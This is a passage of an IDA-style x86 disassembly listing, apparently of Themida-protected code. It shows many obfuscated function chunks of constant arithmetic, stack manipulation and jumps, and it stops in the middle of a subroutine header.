loc_560232: ; CODE XREF: sub_5684A6-1871j
push edi
mov edi, 25371A82h
push ecx
mov ecx, 67374DE5h
sub ecx, 5D195BB2h
dec ecx
dec ecx
sub ecx, 0C8E5A84Ah
or edi, ecx
pop ecx
push ecx
mov ecx, 5D1F5DCAh
neg ecx
sub ecx, 5B7342FBh
and ecx, 647D28A1h
jmp loc_5647A5
; END OF FUNCTION CHUNK FOR sub_5684A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572669
loc_560268: ; CODE XREF: sub_572669-2655j
add esp, 4
shr ecx, 7
push dword ptr [edi+1Ch]
jmp loc_56EC70
; END OF FUNCTION CHUNK FOR sub_572669
; =============== S U B R O U T I N E =======================================
sub_560276 proc near ; CODE XREF: sub_570732+3B7Aj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005631E0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056E049 SIZE 00000013 BYTES
sub esp, 4
mov [esp+4+var_4], esi
push edx
push 66AB2425h
mov edx, [esp+0Ch+var_C]
push esi
jmp loc_5631E0
sub_560276 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F1DB
loc_56028B: ; CODE XREF: sub_56F1DB-288Dj
sub esi, 768C4A0Fh
jmp loc_566F28
; END OF FUNCTION CHUNK FOR sub_56F1DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5715F0
loc_560296: ; CODE XREF: sub_5715F0-2349j
pop ecx
mov ecx, [esp-4+arg_0]
add esp, 4
jmp loc_56B5EE
; END OF FUNCTION CHUNK FOR sub_5715F0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574896
loc_5602A2: ; CODE XREF: sub_574896-72E5j
add eax, ecx
pop ecx
add eax, 4
jmp loc_572400
; END OF FUNCTION CHUNK FOR sub_574896
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CC46
loc_5602AF: ; CODE XREF: sub_56CC46-7048j
mov edx, 13E61D14h
add edx, 57635537h
push esi
push 6B49724Fh
mov esi, [esp+8+var_8]
add esp, 4
xor edx, esi
pop esi
sub esp, 4
mov [esp+4+var_4], edx
mov edx, 70B56022h
sub esi, edx
jmp loc_56045D
; END OF FUNCTION CHUNK FOR sub_56CC46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_5602DE: ; CODE XREF: sub_561418+FCAj
pop esp
push ebx
push esi
mov esi, 1AEC4EEDh
add esi, 0E513B114h
mov ebx, esi
pop esi
add esi, ebx
pop ebx
push 3DB7h
jmp loc_574499
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57146D
loc_5602FC: ; CODE XREF: sub_57146D+B34j
or bh, 4Ah
sub bh, 2Fh
jmp loc_56F294
; END OF FUNCTION CHUNK FOR sub_57146D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_560307: ; CODE XREF: sub_5678CB+2795j
mov edx, [esp+8+var_A+2]
add esp, 4
xchg edi, [esp+4+var_4]
pop esp
mov [esp+0], eax
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56031C: ; CODE XREF: sub_564D26+249j
sub ecx, ebp
mov ebp, [esp+8+var_8]
add esp, 4
sub esp, 4
mov [esp+8+var_8], ebp
mov ebp, esp
push ecx
mov ecx, 4874678Fh
push 6305h
jmp loc_56EE02
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B1DC
loc_56033F: ; CODE XREF: sub_56B1DC-1E39j
sub ebx, 0B39C1D8Ch
mov edx, ebx
pop ebx
add esi, edx
pop edx
xchg esi, [esp+4+var_4]
mov esp, [esp+4+var_4]
jmp sub_5648C6
; END OF FUNCTION CHUNK FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574DC1
loc_560356: ; CODE XREF: sub_574DC1+1BAj
sub eax, ebp
pop ebp
add eax, 460060BDh
add eax, ebx
sub eax, 460060BDh
add eax, 44B822D8h
add eax, 59E23057h
jmp loc_56C322
; END OF FUNCTION CHUNK FOR sub_574DC1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_560374: ; CODE XREF: sub_56FA15-A9DCj
add dh, 43h
xor dh, 73h
jmp loc_566196
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572EDC
loc_56037F: ; CODE XREF: sub_572EDC-6C7Bj
pop eax
jmp sub_56C4FF
; END OF FUNCTION CHUNK FOR sub_572EDC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566B37
loc_560385: ; CODE XREF: sub_566B37+236Bj
mov [esp+8+var_8], esi
mov esi, 716D6E72h
inc esi
shl esi, 1
dec esi
dec esi
push ecx
mov ecx, 5DD45CA1h
jmp loc_574343
; END OF FUNCTION CHUNK FOR sub_566B37
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CD13
loc_56039D: ; CODE XREF: sub_56CD13+3965j
add ecx, edx
jmp loc_56F734
; END OF FUNCTION CHUNK FOR sub_56CD13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_5603A4: ; CODE XREF: sub_5678CB+D8D9j
sub ebp, 2F22568h
add esi, ebp
pop ebp
push edx
mov edx, 4
sub esi, 6A3C18A1h
sub esi, edx
add esi, 6A3C18A1h
pop edx
xchg esi, [esp+4+var_4]
jmp loc_56D3F0
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568646
loc_5603CA: ; CODE XREF: sub_568646+9ECDj
xor al, dl
jmp loc_56A230
; END OF FUNCTION CHUNK FOR sub_568646
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E126
loc_5603D1: ; CODE XREF: sub_56E126-919Aj
pop esi
jmp loc_569424
; END OF FUNCTION CHUNK FOR sub_56E126
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FD38
loc_5603D7: ; CODE XREF: sub_56FD38-CB7Ej
add ebx, 3B361397h
add ebx, esi
sub ebx, 3B361397h
pop esi
jmp sub_573B49
; END OF FUNCTION CHUNK FOR sub_56FD38
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563DCB
loc_5603EB: ; CODE XREF: sub_563DCB+31ADj
pop ebx
add ebx, ecx
jmp loc_561126
; END OF FUNCTION CHUNK FOR sub_563DCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5747FA
loc_5603F3: ; CODE XREF: sub_5747FA-BC6Cj
sub eax, 24F96C1Ah
sub eax, 73D75CB8h
jmp loc_56FE7F
; END OF FUNCTION CHUNK FOR sub_5747FA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570F0F
loc_560402: ; CODE XREF: sub_570F0F-2B30j
sub ebx, 2
xchg ebx, [esp+0]
jmp loc_56F9A9
; END OF FUNCTION CHUNK FOR sub_570F0F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5653AD
loc_56040D: ; CODE XREF: sub_5653AD+EB1Dj
mov edi, 2CB70840h
or edi, 10350EAh
inc edi
xor edi, 43D7285Eh
jmp loc_56E5D5
; END OF FUNCTION CHUNK FOR sub_5653AD
; ---------------------------------------------------------------------------
loc_560424: ; CODE XREF: Themida_:00572B77j
add esi, 4
xor esi, [esp]
jmp loc_5649BA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5631A3
loc_560432: ; CODE XREF: sub_5631A3+2935j
push [esp+0Ch+var_8]
pop edi
jmp loc_560AEE
; END OF FUNCTION CHUNK FOR sub_5631A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_56043C: ; CODE XREF: sub_568E5C+797Bj
mov ebp, 0E5914DCh
jmp loc_56F982
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_560446: ; CODE XREF: sub_571088-B1A8j
xor cl, 0D8h
jmp loc_57281E
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568764
loc_56044E: ; CODE XREF: sub_568764+Dj
add esp, 4
push ebp
jmp loc_565247
; END OF FUNCTION CHUNK FOR sub_568764
; =============== S U B R O U T I N E =======================================
sub_560457 proc near ; CODE XREF: sub_569CBC-2FD4j
; FUNCTION CHUNK AT 0056BA06 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0057448D SIZE 0000000C BYTES
push ebp
jmp loc_56BA06
sub_560457 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CC46
loc_56045D: ; CODE XREF: sub_56CC46-C96Dj
pop edx
add esi, edx
add esi, 70B56022h
mov edx, [esp+0]
push edx
jmp loc_574336
; END OF FUNCTION CHUNK FOR sub_56CC46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571289
loc_56046F: ; CODE XREF: sub_571289-2202j
shr esi, 8
add esi, 30B85CF0h
jmp loc_56C7F1
; END OF FUNCTION CHUNK FOR sub_571289
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_56047D: ; CODE XREF: sub_57354D-798Cj
mov esp, [esp+4+var_4]
push 748Ch
mov [esp+0], ecx
push 4E24h
push esp
pop [esp+8+var_8]
sub esp, 4
mov [esp+8+var_8], ebx
jmp loc_56FD54
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_56049F: ; CODE XREF: sub_5605BC+4EA3j
mov [esp+0], ecx
mov ecx, 28h
add ecx, edi
push dword ptr [ecx]
mov eax, [esp+4+var_4]
add esp, 4
push dword ptr [esp+0]
push [esp+4+var_4]
pop ecx
push edx
jmp loc_56EA4B
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567CFE
loc_5604BE: ; CODE XREF: sub_567CFE+3518j
not ecx
xor ecx, 4C557540h
or ecx, 6820652Fh
jmp loc_561927
; END OF FUNCTION CHUNK FOR sub_567CFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5754DA
loc_5604D1: ; CODE XREF: sub_5754DA-1244Bj
pop ebx
inc bh
push 0
sub [esp+0Eh+var_E], bh
mov bh, [esp+0Eh+var_E]
push ebp
push esp
pop ebp
jmp loc_56C435
; END OF FUNCTION CHUNK FOR sub_5754DA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564CDA
loc_5604E7: ; CODE XREF: sub_564CDA+643Cj
sub ebp, 578633E3h
jmp loc_565726
; END OF FUNCTION CHUNK FOR sub_564CDA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566AF9
loc_5604F2: ; CODE XREF: sub_566AF9-65AFj
pop ebp
pop [esp+0Ch+var_C]
mov esp, [esp+8+var_8]
jmp loc_574A9A
; END OF FUNCTION CHUNK FOR sub_566AF9
; =============== S U B R O U T I N E =======================================
sub_5604FE proc near ; DATA XREF: Themida_:0055FE8Co
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560A17 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00560DB9 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00563C94 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00569572 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005695EC SIZE 00000037 BYTES
; FUNCTION CHUNK AT 00569D9D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056C080 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056C883 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056D55B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056E319 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056F416 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0056FB48 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056FEA3 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00571444 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00573659 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0057434B SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00575079 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0057542D SIZE 0000000D BYTES
mov ecx, [esp+0]
push 5742h
mov [esp+4+var_4], ecx
jmp loc_575079
sub_5604FE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD44
loc_56050E: ; CODE XREF: sub_56BD44-396Cj
push eax
jmp loc_5620FC
; END OF FUNCTION CHUNK FOR sub_56BD44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_560514: ; CODE XREF: sub_5620B7-8Ej
pop esp
mov [esp+8+var_A+2], ebx
push 6AE5h
mov [esp], ecx
jmp loc_56738C
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5606E3
loc_560525: ; CODE XREF: sub_5606E3+6F42j
xor ebp, 5B4D4427h
add ebp, 0AAC2B878h
jmp loc_56603F
; END OF FUNCTION CHUNK FOR sub_5606E3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566AF9
loc_560536: ; CODE XREF: sub_566AF9-2697j
push esi
mov esi, 353119F8h
sub esi, 353119F6h
add ebp, esi
pop esi
push ebp
push [esp+0Ch+var_8]
jmp loc_5604F2
; END OF FUNCTION CHUNK FOR sub_566AF9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569B75
loc_56054F: ; CODE XREF: sub_569B75+938Aj
xchg eax, [esp+0]
pop esp
push ebp
mov ebp, esp
add ebp, 4
push edi
jmp loc_560C36
; END OF FUNCTION CHUNK FOR sub_569B75
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_560562: ; CODE XREF: sub_567D31+7AE0j
mov ecx, [esp+0]
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
jmp loc_565B36
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_560576: ; CODE XREF: sub_564D26+9119j
push edi
push ebx
push edi
mov edi, 4
mov ebx, edi
mov edi, [esp+18h+var_18]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+1Ch+var_1C]
pop esp
mov edi, ebx
pop ebx
mov ecx, edi
jmp loc_5629B3
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_56059D: ; CODE XREF: sub_56AEF2+3C8Fj
mov ecx, esp
jmp sub_570F0F
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E0B0
loc_5605A4: ; CODE XREF: sub_56E0B0+71D8j
pop eax
pop [esp+0Ch+var_C]
mov esp, [esp+8+var_8]
mov [esp+4+var_4], esp
push ecx
jmp loc_5622EB
; ---------------------------------------------------------------------------
loc_5605B4: ; CODE XREF: sub_56E0B0-7F64j
add eax, esi
pop esi
jmp loc_56B924
; END OF FUNCTION CHUNK FOR sub_56E0B0
; =============== S U B R O U T I N E =======================================
sub_5605BC proc near ; CODE XREF: sub_56616D-3134j
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056049F SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005605EC SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005609EA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005615A4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00561773 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005626D6 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00562EEF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00563F70 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00564A71 SIZE 00000042 BYTES
; FUNCTION CHUNK AT 0056543E SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00565818 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00565838 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00566D34 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056700B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00567510 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00567856 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00567B75 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056867C SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00569C42 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056A0A1 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056B0C6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056BF6A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056C621 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 0056CF1B SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056D012 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0056E66A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056EA4B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056EC17 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056EF77 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056F4D7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056F773 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005700F3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00571B6B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00571BBA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00572AC6 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00572D1C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00573ECF SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00574088 SIZE 00000024 BYTES
push ebx
mov ebx, esp
sub esp, 4
mov [esp+10h+var_10], ebp
jmp loc_56BF6A
sub_5605BC endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C0A
loc_5605CD: ; CODE XREF: sub_571C0A-893Cj
push 5293h
mov [esp+4+var_4], esp
add [esp+4+var_4], 4
pop eax
add eax, 4
add eax, 4
xor eax, [esp+0]
jmp loc_57125C
; END OF FUNCTION CHUNK FOR sub_571C0A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_5605EC: ; CODE XREF: sub_5605BC+C97Bj
pop edi
mov edi, ecx
pop ecx
jmp loc_56F4D7
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570FB7
loc_5605F5: ; CODE XREF: sub_570FB7-B896j
mov [esp+0], eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_56E385
; END OF FUNCTION CHUNK FOR sub_570FB7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569193
loc_560609: ; CODE XREF: sub_569193+1E3Dj
pop eax
jmp loc_56ECA9
; END OF FUNCTION CHUNK FOR sub_569193
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AA2B
loc_56060F: ; CODE XREF: sub_56AA2B+786Cj
xor ecx, 73BF6004h
add ebx, ecx
pop ecx
xchg ebx, [esp+4+var_4]
mov esp, [esp+4+var_4]
push edx
push esp
pop edx
add edx, 4
add edx, 4
xchg edx, [esp+4+var_4]
pop esp
jmp loc_5618BD
; END OF FUNCTION CHUNK FOR sub_56AA2B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574949
loc_560636: ; CODE XREF: sub_574949-677Dj
xor al, cl
push dword ptr [esp+0]
push [esp+4+var_4]
jmp loc_5692BF
; END OF FUNCTION CHUNK FOR sub_574949
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569FB8
loc_560643: ; CODE XREF: sub_569FB8-48E4j
pop esp
xor bl, al
movzx eax, al
jmp loc_570A83
; END OF FUNCTION CHUNK FOR sub_569FB8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_56064E: ; CODE XREF: sub_574A21-11899j
add ecx, eax
jmp loc_563C2E
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566C83
loc_560655: ; CODE XREF: sub_566C83-429Dj
add esp, 4
push eax
mov eax, 29837412h
add eax, 2DF004Eh
add eax, 4A622E25h
jmp loc_560007
; END OF FUNCTION CHUNK FOR sub_566C83
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ED9
loc_560670: ; CODE XREF: sub_562ED9+6j
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+8+var_8]
jmp loc_572C06
; END OF FUNCTION CHUNK FOR sub_562ED9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_560684: ; CODE XREF: sub_56AB5E-46F6j
pop esp
mov [esp+0Ch+var_C], edx
jmp loc_56C8CE
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD44
loc_56068D: ; CODE XREF: sub_56BD44-5171j
push edi
push dword ptr [esp+4]
pop edi
pop [esp+4+var_4]
jmp loc_565761
; END OF FUNCTION CHUNK FOR sub_56BD44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564020
loc_56069B: ; CODE XREF: sub_564020+EC0Ej
xor eax, 64CA0CA3h
jmp loc_5703B6
; END OF FUNCTION CHUNK FOR sub_564020
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572E16
loc_5606A5: ; CODE XREF: sub_572E16-1051Ej
sub [esp+14h+var_14], 234E325Dh
pop edx
add edx, 234E325Dh
pop ebp
sub edx, 70CF90C5h
sub esi, 2A16773Ch
sub esi, edx
add esi, 2A16773Ch
push [esp+0Ch+var_C]
pop edx
add esp, 4
sub eax, 1E390069h
add eax, esi
add eax, 1E390069h
jmp loc_56F4BB
; END OF FUNCTION CHUNK FOR sub_572E16
; =============== S U B R O U T I N E =======================================
sub_5606E3 proc near ; CODE XREF: sub_5747AF-E559j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560525 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00561F9C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005642D5 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00565E83 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056603F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00567619 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056945B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056CCB7 SIZE 00000009 BYTES
push ebp
jmp loc_567619
sub_5606E3 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_5606E9: ; CODE XREF: sub_5678CB+36E5j
sub ch, 61h
or dl, ch
push dword ptr [esp+0]
pop ecx
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_573569
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_560703: ; CODE XREF: sub_57354D-DD5j
sub esi, ebx
jmp loc_570EE1
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5747FA
loc_56070A: ; CODE XREF: sub_5747FA-12A4Ej
neg ebp
xor ebp, 91C9488Bh
mov edi, ebp
pop ebp
and edi, 204D1B78h
push ebx
mov ebx, 0A72354Ch
sub ebx, 0F27BCE0Bh
sub edi, ebx
jmp loc_568B87
; END OF FUNCTION CHUNK FOR sub_5747FA
; ---------------------------------------------------------------------------
loc_56072E: ; CODE XREF: Themida_:0057493Aj
push 2FE0h
jmp loc_562539
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_560738: ; CODE XREF: sub_571088-CE3Fj
sub bl, ah
push dword ptr [esp+0]
jmp loc_5665AF
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_560742: ; CODE XREF: sub_5685B2-BA8j
mov eax, 3A6615B1h
mov edx, eax
pop eax
push ebx
jmp loc_572E4C
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_560750: ; CODE XREF: sub_563A7F+7212j
push dword ptr [edi+eax*4]
push 7F70h
mov [esp+8+var_8], esi
jmp loc_56932E
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56241E
loc_560760: ; CODE XREF: sub_56241E+3913j
and cx, 507Eh
jmp loc_57543A
; END OF FUNCTION CHUNK FOR sub_56241E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569E1B
loc_56076A: ; CODE XREF: sub_569E1B-6E0Ej
sub al, 9Fh
add al, dh
push ebx
mov bh, 9Fh
add al, bh
pop ebx
pop edx
sub al, 0C8h
sub al, bl
push small 3870h
jmp loc_565F82
; END OF FUNCTION CHUNK FOR sub_569E1B
; =============== S U B R O U T I N E =======================================
sub_560782 proc near ; DATA XREF: Themida_:0055FDC4o
; FUNCTION CHUNK AT 00568077 SIZE 00000005 BYTES
pop dword ptr [edx]
jmp loc_568077
sub_560782 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560CF1
loc_560789: ; CODE XREF: sub_560CF1+98D5j
push esp
jmp loc_570005
; END OF FUNCTION CHUNK FOR sub_560CF1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C295
loc_56078F: ; CODE XREF: sub_56C295+4374j
mov ebp, 63D61E38h
sub ebp, ebx
pop ebx
sub edi, 5C710A8Eh
add edi, ebp
add edi, 5C710A8Eh
jmp loc_56E998
; END OF FUNCTION CHUNK FOR sub_56C295
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5726FB
loc_5607AA: ; CODE XREF: sub_5726FB-98B3j
push dword ptr [esp+0]
pop ecx
push 7CAFh
jmp loc_5724BB
; END OF FUNCTION CHUNK FOR sub_5726FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566DC7
loc_5607B8: ; CODE XREF: sub_566DC7+6B8Cj
add esi, ebp
jmp loc_563CB9
; END OF FUNCTION CHUNK FOR sub_566DC7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A608
loc_5607BF: ; CODE XREF: sub_56A608-5260j
xor edx, ebp
pop ebp
sub ebx, 77145E64h
sub ebx, edx
add ebx, 77145E64h
pop edx
sub ebx, 32DA4E8Bh
add ebx, eax
push ecx
jmp loc_564838
; END OF FUNCTION CHUNK FOR sub_56A608
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568646
loc_5607DF: ; CODE XREF: sub_568646+1BFDj
mov bl, 0Eh
mov cl, bl
pop ebx
jmp loc_56955D
; END OF FUNCTION CHUNK FOR sub_568646
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57199D
loc_5607E9: ; CODE XREF: sub_57199D+2B61j
not eax
push ebx
push eax
pop ebx
pop eax
xchg esi, ebx
not esi
push ebx
sub esp, 4
mov [esp+10h+var_10], esi
pop ebx
pop esi
jmp loc_5735DA
; END OF FUNCTION CHUNK FOR sub_57199D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EE9F
loc_560804: ; CODE XREF: sub_56EE9F-651Bj
mov ebp, [esp+0]
push 622Dh
mov [esp+4+var_4], ecx
push ecx
mov ecx, esp
push edx
mov edx, 4
jmp loc_56AD87
; END OF FUNCTION CHUNK FOR sub_56EE9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C4FF
loc_56081D: ; CODE XREF: sub_56C4FF+5FF8j
push ecx
mov ecx, 41B470A3h
and ebp, ecx
pop ecx
push ecx
mov ecx, 14407E80h
push ecx
not [esp+8+var_8]
pop ecx
push edx
mov edx, 0
add edx, 6C3E1462h
sub edx, ecx
jmp loc_566D0E
; END OF FUNCTION CHUNK FOR sub_56C4FF
; =============== S U B R O U T I N E =======================================
sub_560844 proc near ; DATA XREF: Themida_:0055FEC8o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560203 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00560BE4 SIZE 0000001A BYTES
